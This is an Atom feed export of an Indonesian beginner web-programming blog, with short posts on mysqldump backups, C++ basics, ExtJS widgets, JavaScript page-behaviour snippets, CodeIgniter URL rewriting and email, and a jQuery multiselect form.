tag:blogger.com,1999:blog-52220885776000931892024-09-04T05:04:21.972-07:00Lexdorf CodeAll About WebDeden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.comBlogger78125tag:blogger.com,1999:blog-5222088577600093189.post-38970653769537391402015-04-13T06:00:00.003-07:002015-04-13T06:00:33.804-07:00IT CODE TUTORIAL: Explode() Memecah Karakter Berdasarkan Parameter<a href="http://itcodetutorial.blogspot.com/2015/04/explode-memecah-karakter-berdasarkan.html?spref=bl">IT CODE TUTORIAL: Explode() Memecah Karakter Berdasarkan Parameter</a>: explode() digunakan untuk memecah string menjadi array dengan menggunakan parameter tertentu. Basic Code explode("parameter",...Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-24029750733413334232015-04-13T06:00:00.001-07:002015-04-13T06:00:13.965-07:00IT CODE TUTORIAL: Memahami Tanda ../ dan /<a href="http://itcodetutorial.blogspot.com/2015/04/memahami-tanda-dan.html?spref=bl">IT CODE TUTORIAL: Memahami Tanda ../ dan /</a>: Bagi pecinta command line atau terminal, tanda ../ dan / mungkin sudah tidak aneh lagi.Yap pada PHP juga ini sangat berguna untuk memahami s...Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-69277191330141035782014-08-25T00:19:00.001-07:002014-08-25T00:19:26.134-07:00Back Up Database Lokalnih yang mungkin sangat dibutuhkan untuk kita, ketika mau install ulang dan malas untuk export database satu persatu.<br />
<br />
mysql menyediakan script untuk dump database kita melalu command line :D<br />
<br />
langsung aja neh<br />
<br />
<b>mysqldump -u root -p --all-databases > D:\backup.sql</b><br />
<br />
semoga bermanfaat jon :)Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-63929777598775833372014-05-30T20:50:00.000-07:002014-05-30T20:50:02.044-07:00Penjumlahan C++Bahasan pada artikel sekarang yaitu kita akan membuat sebuat penjumlahan, dimana memasukan angka pertama dan kedua.<br />
<div>
<br /></div>
<div>
sederhana saja, dengan menggunakan <b>cin </b>untuk menyimpan inputannya. pada <i>case </i>ini, kita membutuhkan 3 variable , satu,dua,hasil.</div>
<div>
<br /></div>
<div>
berikut kodenya</div>
<div>
<br /></div>
<div>
<b>main.cpp</b></div>
<div>
<b><br /></b></div>
<div>
<div style="font-weight: bold;">
<br /></div>
<div>
#include<iostream></div>
<div>
using namespace std;</div>
<div>
<br /></div>
<div>
int main()</div>
<div>
{</div>
<div>
int satu,dua,hasil;</div>
<div>
cout<<"Masukan angka pertama"<<endl;</div>
<div>
cin>>satu;</div>
<div>
cout<<"Masukan angka kedua"<<endl;</div>
<div>
cin>>dua;</div>
<div>
hasil=satu+dua;</div>
<div>
cout<<"Hasil "<<satu<<"+"<<dua<<" = "<<hasil;</div>
<div>
</div>
<div>
<br /></div>
<div>
}</div>
</div>
Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-75771454020154527582014-05-30T20:42:00.001-07:002014-05-30T20:42:29.452-07:00Mengambil Objek C++setelah pada artikel sebelumnya dibahas cara menampilkan sebuah tulisan. sekarang bagaimana caranya kita mulai bermain objek. dimana dengan menggunakan objek kita dapat meload sebuah fungsi secara terus menerus tanpa membuat kembali koding yang sama.<br />
<br />
kalo masih bingung silahkan dipelajari konsep OOP.<br />
<br />
<b>main.cpp</b><br />
<b><br /></b>
//KODE C++<br />
<br />
<br />
#include<iostream><br />
using namespace std;<br />
<br />
class Objeknya<br />
{<br />
public:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>void hello()<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>cout << "Hello C++ \n\n";<br />
<br />
}<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>void nama()<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>cout << "Nama saya Deden Hendra Permana \n\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
};<br />
<br />
<br />
int main()<br />
{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Objeknya o;<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>o.hello();<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>o.nama();<br />
<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>return 0;<br />
}<br />
<br />
<br />
Class Objek merupakan objek yang akan kita gunakan untuk di load. perhatikan kode berikut<br />
<br />
int main()<br />
{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Objeknya o;<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>o.hello();<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>o.nama();<br />
<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>return 0;<br />
}<br />
<br />
Objeknya o;<br />
berarti kita meload class Objeknya dengan memberi nama baru / alias o.<br />
o.hello()<br />
berarti meload void hello<br />
o.nama()<br />
berarti meload void nama<br />
<div>
<br /></div>
Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-14321987075181033702014-05-30T20:35:00.001-07:002014-05-30T20:35:09.026-07:00Hello C++sedikit flash back ke bahasa C dulu jon. didasari ingin ngoprek robotik dan controller dengan sangat semangat saya memulai kembali mempelajari C yang sudah sangat lampau tidak digunakan meskipun PHP ga beda jauh hehe<br />
<br />
oke dimulai dengan memprint tulisan hello C++<br />
<br />
<b>main.cpp</b><br />
<br />
<br />
//KODE C++<br />
#include <iostream><br />
using namespace std;<br />
int main()<br />
{<br />
cout << "Hello C++";<br />
}<br />
<br />
#include <iostream> merupakan library yang digunakan untuk meload <b>cout . </b><br />
<b><br /></b>
<b><br /></b>Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-86636841467893635002014-05-06T21:28:00.000-07:002014-05-06T21:28:17.693-07:00Progress Bar EXTJSprogress.html<br />
<html><br /><html><br /><head><br /> <title>Progress</title><br /> <br /> <!-- Ext JS Files --><br /> <!-- Ext JS Files --><br /> <link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css"><br /> <script type="text/javascript" src="extjs/ext-all-debug.js"></script><br /> <br /> <!-- App Files --><br /> <script type="text/javascript" src="progress.js"></script><br /> <br /></head><br /><body></body><br /></html><br />
<br />
progress.js<br />
Ext.onReady(function() {<br /> var pgb = Ext.create('Ext.ProgressBar', {<br /> text: 'Updating...',<br /> width: 200<br /> });<br /><br /> var smenu = Ext.create('Ext.menu.Menu', {<br /> width: 200,<br /> plain: true,<br /> float: true,<br /> shadow: true,<br /> frame: true,<br /> items: [<br /> pgb<br /> ]<br /> });<br /><br /> smenu.show();<br /><br /> var prog = 0;<br /><br /> setInterval(function() {<br /> prog = (prog + 5) % 105;<br /><br /> pgb.updateProgress(prog / 100);<br /> }, 100);<br />});Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-34941193647249934582014-05-06T20:06:00.002-07:002014-05-06T20:06:44.212-07:00GET Value By ID on EXTJSform.html<br />
<br />
<html><br /><head><br /> <title>Daftar</title><br /> <br /> <!-- Ext JS Files --><br /> <link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css"><br /> <script type="text/javascript" src="extjs/ext-all-debug.js"></script><br /> <br /> <!-- App Files --><br /> <script type="text/javascript" src="form.js"></script><br /> <br /></head><br /><body><br /> <div id="myform"></div><br /></body><br /></html><br />
<br />
form.js<br />
<br />
Ext.onReady(function(){<br /> var simple = new Ext.form.FormPanel({<br /> standardSubmit: true,<br /> frame:true,<br /> title: 'Daftar',<br /> width: 350,<br /> <br /> defaults: {width: 230},<br /> defaultType: 'textfield',<br /> items: [{<br /> fieldLabel: 'NPM',<br /> name: 'npm',<br /> id:'npm',<br /> allowBlank:false<br /> },<br /> {<br /> fieldLabel: 'Nama',<br /> name: 'nama',<br /> id: 'nama',<br /> allowBlank:false<br /> },<br /> {<br /> fieldLabel: 'Kelas',<br /> name: 'kelas',<br /> id: 'kelas',<br /> allowBlank:false<br /> },<br /> {<br /> fieldLabel: 'Alamat',<br /> name: 'alamat',<br /> id: 'alamat',<br /> allowBlank:false<br /> },<br /> {<br /> inputType: 'hidden',<br /> id: 'submitbutton',<br /> name: 'myhiddenbutton',<br /> value: 'hiddenvalue'<br /> }<br /> ],<br /> buttons: [{<br /> text: 'Submit',<br /> handler: function() {<br /> <br /> Ext.Msg.show({<br /> title: "Daftar",<br /> msg: "NPM : "+Ext.getCmp('npm').getValue()+"<br> Nama : "+Ext.getCmp('nama').getValue()+"<br> Kelas : "+Ext.getCmp('kelas').getValue()+"<br> Alamat : "+Ext.getCmp('alamat').getValue(),<br /> icon: Ext.Msg.INFO,<br /> buttons: Ext.MessageBox.OK<br /> });<br /> }<br /> }]<br /> });<br /> simple.render('myform');<br />});<br />
<br />
keterangan : allowBlank diartikan data boleh kosong atau tidak, jika kita mengisi dengan false, maka data tidak boleh kosong. Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-26306259743078669472014-05-06T19:41:00.000-07:002014-05-06T19:41:42.414-07:00Alert EXTJSalert.html<br />
<br />
<html><br /><head><br /> <title>Alert</title><br /> <br /> <!-- Ext JS Files --><br /> <link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css"><br /> <script type="text/javascript" src="extjs/ext-all-debug.js"></script><br /> <br /> <!-- App Files --><br /> <script type="text/javascript" src="alert.js"></script><br /> <br /></head><br /><body><br /></body><br /></html><br />
<br />
alert.js<br />
<br />
<br />Ext.onReady(function(){<br />Ext.Msg.show({<br />title: "Alert",<br />msg: "Hello World, This is sample alert ! ya-ha",<br />icon: Ext.Msg.INFO,<br />buttons: Ext.MessageBox.OK<br />});<br />});Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-82866030351236377412014-05-06T06:34:00.003-07:002014-05-06T06:34:49.355-07:00Hello EXTJShello.html<br />
<br />
<html><br /><head><br /> <title>Hello</title><br /> <br /> <!-- Ext JS Files --><br /> <link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css"><br /> <script type="text/javascript" src="extjs/ext-all-debug.js"></script><br /> <br /> <!-- App Files --><br /> <script type="text/javascript" src="hello.js"></script><br /> <br /></head><br /><body><br /></body><br /></html><br />
<br />
hello.js<br />
<br />
Ext.application({<br /> name: 'Hello ExtJS',<br /> launch: function() {<br /> Ext.create('Ext.container.Viewport', {<br /> layout: 'fit',<br /> items: [<br /> {<br /> title: 'Hello ExtJS',<br /> html : 'Hello ExtJS! My name is DEDEN HENDRA PERMANA'<br /> }<br /> ]<br /> });<br /> }<br />});Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-15058304933816809132014-05-01T20:56:00.001-07:002014-05-01T20:56:24.362-07:00Auto Submit with JavaScriptJavaScript menyediakan fasilitas untuk kita melakukan auto submit, dengan menggunakan fungsi submit(). berikut kodenya<br />
<br /><form name="myform" ><br /></form><br /><script type="text/javascript"><br />function submitform()<br />{<br /> document.myform.submit();<br />}<br />submitform();<br /></script>Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com1tag:blogger.com,1999:blog-5222088577600093189.post-87126853812083205292014-05-01T08:24:00.001-07:002014-05-01T08:24:21.097-07:00Box Confirmationdari kasus yang saya temukan ketika sedang menyelesaikan job, ada
halaman yang tidak dizinkan untuk meninggalkan dan merefresh sebelum
menyelesaikan pengisian, mungkin sudah tidak asing ketika anda
menggunakan facebook, ada mengetikan sesuatu di form update status, lalu
anda merefresh halaman tersebut sebelum mengupdate status tersebut.<br />
<br />
apa yang akan terjadi ? sebuah kotak konfirmasi tampil untuk meyakinkan anda,apakah anda akan meninggalkan halaman ini? dengan catatan bahwa status yang belum anda update akan terhapus<br />
<br />
berikut ini kodenya<br />
<br />
<br /><script type = "text/javascript"><br />var needToConfirm = true;<br />window.onbeforeunload = confirm;<br />function confirm() {<br />if (needToConfirm) {<br />return "Jika anda meninggalkan halaman ini, nilai anda akan 0";<br />}<br />}<br /></script>Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-6941821880007910422014-05-01T08:18:00.002-07:002014-05-01T08:22:08.560-07:00Disable Refresh anda tidak akan bisa mereload halaman ini dengan menggukan refresh atau f5.<br />
berikut kodenya<br />
<br />
<br />
<html ><br /><head ><br /> <title>Disable Refresh</title><br /><br /> <script type="text/javascript"><br /><br /> var version = navigator.appVersion;<br /><br /> function showKeyCode(e) {<br /> var keycode = (window.event) ? event.keyCode : e.keyCode;<br /><br /> if ((version.indexOf('MSIE') != -1)) {<br /> if (keycode == 116) {<br /> event.keyCode = 0;<br /> event.returnValue = false;<br /> return false;<br /> }<br /> }<br /> else {<br /> if (keycode == 116) {<br /> return false;<br /> }<br /> }<br /> }<br /><br /> </script><br /><br /></head><br /><body onload="JavaScript:document.body.focus();" onkeydown="return showKeyCode(event)"><br />Kaga bisa direfresh jon coba aja haha<br /></body><br /></html>Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-37484144481397646232014-04-16T20:00:00.001-07:002014-04-16T20:00:31.894-07:00Upload with progress bar for reading a file mungkin sekarang kita sudah terbiasa, ketika kita mengupload sebuah file entah itu gambar ,docx atau file lain bertemu dengan sebuah progress bar. ya ini memang sangat membantu menjelaskan apakah upload telah selesai,gagal atau masih dilakukan. dengan adanya progress bar kita dapat mengetahui hal itu.<br />
<br />
berikut code untuk membaca file dengan js tanpa mengupload ke folder kita, ini hanya membaca saja file nya<br />
terima kasih kepada http://www.html5rocks.com/en/tutorials/file/dndfiles/ telah membantu membuat artikel ini.<br />
<br />
berikut ini code nya<br />
<br />
<script><br />
var reader;<br />
var progress = document.querySelector('.percent');<br />
<br />
function abortRead() {<br />
reader.abort();<br />
}<br />
<br />
function errorHandler(evt) {<br />
switch(evt.target.error.code) {<br />
case evt.target.error.NOT_FOUND_ERR:<br />
alert('File Not Found!');<br />
break;<br />
case evt.target.error.NOT_READABLE_ERR:<br />
alert('File is not readable');<br />
break;<br />
case evt.target.error.ABORT_ERR:<br />
break; // noop<br />
default:<br />
alert('An error occurred reading this file.');<br />
};<br />
}<br />
<br />
function updateProgress(evt) {<br />
// evt is an ProgressEvent.<br />
if (evt.lengthComputable) {<br />
var percentLoaded = Math.round((evt.loaded / evt.total) * 100);<br />
// Increase the progress bar length.<br />
if (percentLoaded < 100) {<br />
progress.style.width = percentLoaded + '%';<br />
progress.textContent = percentLoaded + '%';<br />
}<br />
}<br />
}<br />
<br />
function handleFileSelect(evt) {<br />
// Reset progress indicator on new file selection.<br />
progress.style.width = '0%';<br />
progress.textContent = '0%';<br />
<br />
reader = new FileReader();<br />
reader.onerror = errorHandler;<br />
reader.onprogress = updateProgress;<br />
reader.onabort = function(e) {<br />
alert('File read cancelled');<br />
};<br />
reader.onloadstart = function(e) {<br />
document.getElementById('progress_bar').className = 'loading';<br />
};<br />
reader.onload = function(e) {<br />
// Ensure that the progress bar displays 100% at the end.<br />
progress.style.width = '100%';<br />
progress.textContent = '100%';<br />
setTimeout("document.getElementById('progress_bar').className='';", 2000);<br />
}<br />
<br />
// Read in the image file as a binary string.<br />
reader.readAsBinaryString(evt.target.files[0]);<br />
}<br />
<br />
document.getElementById('files').addEventListener('change', handleFileSelect, false);<br />
</script>Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-52769489604522897932014-03-12T23:57:00.000-07:002014-03-12T23:57:07.133-07:00Start and Stop ObjectGara-gara niat bikin project game kecil buat andro, jadi rada memperdalam HTML5. lebih simple dalam pembuatannya menggunakan HTML5 dan efek serta animasinya lumayan keren. bisa dibantu dengan JS agar lebih interaktifnya.<br />
<br />
Pada kasus sekarang saya akan mencoba membuat start and stop object. dimana ketika kita mengklik pertama, object akan berjalan. dan ketika di klik lagi object akan berhenti.<br />
<br />
untuk kode bisa dilihat di link yang saya simpan di ucapan terima kasih<br />
<br />
terima kasih untuk http://www.html5canvastutorials.com/advanced/html5-canvas-start-and-stop-an-animation/<br />
<br />
atas tutornya sangat mencerahkan dan semoga bermanfaat untuk kalian.Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-32929300671781904122014-03-11T23:00:00.000-07:002014-03-11T23:00:24.344-07:00Membaca Isi File PDF dengan PHP (pdf2text)Nemu kasus baru nih guys. biasanya kalo ngebaca file .txt php sudah menyediakan fopen() untuk membacanya. Kasus sekarang yang baru saya alami, bagaimana bisa membaca isi file dari PDF. jika kita gunakan fopen akan muncul simbol-simbol yang ga jelas apa itu sebenarnya. hehe<br />
<br />
Nah kunci nya kita pake class yang udah disediakan dan tinggal di download aja di link ini http://pastebin.com/hRviHKp1 . sample code yang saya buat seperti berikut<br />
<br />
<?php<br />include('class.pdf2text.php');<br />$a = new PDF2Text();<br />$a->setFilename('test.pdf'); //nama file<br />
$a->decodePDF();<br />echo $a->output(); <br />?><br />
<br />
berikut ini gambaran dari isi pdf saya<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi35RIvg3OxqKU0prMUn85gW-0dl-L0mSz167Y8qlyTT2a2kfbLhp9qjUUZqWJWxKQ37RckY-kyhR-1yoPlnBNwrFkVRKuFcKZSQ4vO369nJl3URL-iHjOXA9Vtd30lXhf2OVt1xZH9hciJ/s1600/Screenshot+from+2014-03-12+12:57:46.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi35RIvg3OxqKU0prMUn85gW-0dl-L0mSz167Y8qlyTT2a2kfbLhp9qjUUZqWJWxKQ37RckY-kyhR-1yoPlnBNwrFkVRKuFcKZSQ4vO369nJl3URL-iHjOXA9Vtd30lXhf2OVt1xZH9hciJ/s1600/Screenshot+from+2014-03-12+12:57:46.png" height="179" width="320" /></a></div>
itu gambaran di halaman pertamanya<br />
<br />
dan ini hasil dari code diatas<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhatRRg8maBQEv0wzYrzf4eSu5GOpf15eCamAyTFxvHErlWrhT8zQIVtKZ7kniGy9Enn9QNiMzVhv0dpRpUnXbouy07LdaGO-NBo8s0i4D5PIsJshDtAz8HUgZqmaQOa512smBSelFhcXu/s1600/Screenshot+from+2014-03-12+12:58:59.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhatRRg8maBQEv0wzYrzf4eSu5GOpf15eCamAyTFxvHErlWrhT8zQIVtKZ7kniGy9Enn9QNiMzVhv0dpRpUnXbouy07LdaGO-NBo8s0i4D5PIsJshDtAz8HUgZqmaQOa512smBSelFhcXu/s1600/Screenshot+from+2014-03-12+12:58:59.png" height="179" width="320" /></a></div>
nah bisakan ? hanya saja class ini bisa mengkonversi text saja. gambar tidak bisa. silahkan di coba dan semoga bermanfaat :D<br />
<br />Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-58220022371133077602014-03-01T19:06:00.000-08:002014-03-01T19:06:04.610-08:00Disable Back in Browserkasus baru masalah bagaimana me-non aktifkan back di browser. ada kasus dimana ketika saya membuat sebuah halaman ujian Online agar siswa yang telah masuk ke ruangan tidak bisa keluar dari ruangan ujian sebelum siswa tersebut menyelesaikan soal .<br />
<br />
berikut sample code nya<br />
<br />
<br />
<script><br />window.onload = function () {<br />window.location.hash = "NoBack";<br />window.location.hash = "Again-NoBack";<br />}<br />setInterval("hashChange()", 100);<br /><br />function hashChange() {<br />window.location.hash = "NoBack";<br />window.history.go(1);<br />}<br /></script> <br />
<br />
bagaimana ? work kan ? semoga bermanfaat Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-19289000317747732322014-02-03T23:12:00.001-08:002014-02-03T23:12:46.204-08:00Menghilangkan index.php dengan htaccess (Codeigniter)sekarang bagaimana cara menghilangkan index.php agar terlihat lebih clean url pada website kita. sederhana sebetulnya dengan menggunakan .htaccess . semoga tutor ini bisa membantu<div>
<br /></div>
<div>
pertama buat file dengan nama .htaccess</div>
<div>
<br /></div>
<div>
<div>
<IfModule mod_rewrite.c></div>
<div>
<br /></div>
<div>
RewriteEngine On</div>
<div>
RewriteCond %{ENV:REDIRECT_APP_PATH} !^$</div>
<div>
RewriteRule ^(.*)$ - [E=APP_PATH:%{ENV:REDIRECT_APP_PATH}]</div>
<div>
RewriteCond %{ENV:APP_PATH} ^$</div>
<div>
RewriteRule ^(.*)$ - [E=APP_PATH:/$1]</div>
<div>
RewriteCond %{REQUEST_FILENAME} !-f</div>
<div>
RewriteCond %{REQUEST_FILENAME} !-d</div>
<div>
RewriteRule ^(.*)$ index.php [L]</div>
<div>
</IfModule></div>
</div>
<div>
<br /></div>
<div>
simpan pada folder root misal nama folder kerja di htdocs latihan. simpan pada /htdocs/latihan beri nama <b>.htaccess</b></div>
<div>
<b><br /></b></div>
<div>
lalu edit file config pada folder /application/config/config.php menjadi seperti berikut</div>
<div>
<br /></div>
<div>
<div>
$config['base_url']<span class="Apple-tab-span" style="white-space: pre;"> </span>= 'http://localhost/latihan';</div>
</div>
<div>
<div>
$config['index_page'] = '';</div>
</div>
<div>
<br /></div>
<div>
yap selesai, hanya seperti itu saja untuk membuat url kita menjadi clean.</div>
<div>
<br /></div>
<div>
untuk file .htaccess ada beberapa perbedaan sesuai dengan versi yang digunakan. semoga bermanfaat</div>
<div>
<br /></div>
<div>
<br /></div>
Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com2tag:blogger.com,1999:blog-5222088577600093189.post-66469273820753720902014-02-03T23:07:00.000-08:002014-02-03T23:07:04.756-08:00Kirim Email dari PHP dengan Codeingiterdari kasus yang baru2 ini dialami, dimana ada konfirmasi ke email setelah melakukan pendaftaran. hanya saja web kita harus dalam keadaan online / sudah di hosting. Codeigniter telah menyediakan library untuk menangani email.<br />
<br />
berikut ini<br />
<br />
<span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->load->library('email');</span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->from('your@example.com', 'Your Name');</span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->to('someone@example.com'); </span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->cc('another@another-example.com'); </span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->bcc('them@their-example.com'); </span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->subject('Email Test');</span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->message('Testing the email class.'); </span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">$this->email->send();</span><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><br style="color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;" /><span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">echo $this->email->print_debugger();</span><br />
<span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;"><br /></span>
<span style="background-color: #f9f9f9; color: #002166; font-family: Monaco, Verdana, sans-serif; font-size: 12px;">sumber </span><a href="http://ellislab.com/codeigniter/user-guide/libraries/email.html">http://ellislab.com/codeigniter/user-guide/libraries/email.html</a><br />
<br />
semoga bermanfaatDeden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-13015103343358752512014-01-12T15:05:00.000-08:002014-01-12T15:05:56.577-08:00Multi Select jQuery UI dan Membaca InputannyaMungkin bagi sebagian sudah tidak asing dengan fitur yang sudah disediakan oleh jQuery UI ini. tapi saya akan mencoba membuat sebuah form multi select dan membaca inputan atas pilihan kita pada form tersebut.<br />
<br />
form ini sangat berguna ketika kita ingin memilih banyak data, konsep kerja seperti dropdown, hanya saja dengan ini kita bisa memilih inputan lebih dari 1.<br />
<br />
langsung saja berikut kodenya<br />
<br />
index.html<br />
<br />
<html><br />
<head><br />
<title>Multi Select</title> <br />
<link rel="stylesheet" href="multiselect/docsupport/style.css"><br /> <link rel="stylesheet" href="multiselect/docsupport/prism.css"><br /> <link rel="stylesheet" href="multiselect/chosen.css"><br /> <style type="text/css" media="all"><br /> /* fix rtl for demo */<br /> .chosen-rtl .chosen-drop { left: -9000px; }<br /> </style><br />
</head><br />
<body><br />
<br /><br /> <div id="container"><br /> <div id="content"><br /><form method="post" action="proses.php"><br /> <?php<br /> $array = array("1"=>"deden","2"=>"rahmi");<br /> echo form_multiselect('isi[] data-placeholder="Choose a Country..." class="chosen-select" multiple style="width:350px;" tabindex="4"',$array);<br /> ?><br /> <input type="submit"><br />
<br /></form><br />
<br /> </div><br /> </div><br /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script><br /> <script src="multiselect/chosen.jquery.js" type="text/javascript"></script><br /> <script src="multiselect/docsupport/prism.js" type="text/javascript" charset="utf-8"></script><br /> <script type="text/javascript"><br /> var config = {<br /> '.chosen-select' : {},<br /> '.chosen-select-deselect' : {allow_single_deselect:true},<br /> '.chosen-select-no-single' : {disable_search_threshold:10},<br /> '.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},<br /> '.chosen-select-width' : {width:"95%"}<br /> }<br /> for (var selector in config) {<br /> $(selector).chosen(config[selector]);<br /> }<br /> </script><br />
<br />
</body><br />
</html><br />
<br />
untuk source plugin akan dilampirkan pada bagian akhir artikel ini.<br />
<br />lalu buat proses php untuk membaca inputannya<br />
<br />
proses.php<br />
<br />
<?php<br />
foreach($_POST['isi'] as $row){<br /> echo $row;<br /> } <br />
?> <br />
<br />
selamat mencoba , semoga bermanfaat.<br />
<br />
link download http://www.4shared.com/zip/5hjI1_28ba/multiselect.html<br />
<br />Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-4546668900413083622014-01-09T02:40:00.000-08:002014-01-09T02:40:42.855-08:00Upload File Ala FacebookMungkin saat kita memilih file untuk di upload tidak akan nampak gambar yang kita pilih sebelum di upload. nah pada artikel kali ini, saya akan mencoba membuat sebuah upload dimana ada thumbnailnya / tampilan sebelum kita upload . ini berguna untuk meminimalisir kesalahan dalam mengupload file. sangat sederhana sekali, dimana kita menggunakan proses upload pada php dan fungsi thumbnail pada javascript.<br />
<br />
sebelum memulai, buat satu folder untuk menampung foto yang akan diupload, beri saja nama <b>uploads.</b><br />
<br />
berikut kode HTMLnya<br />
<b> </b><br />
<b>index.html</b><br />
<br />
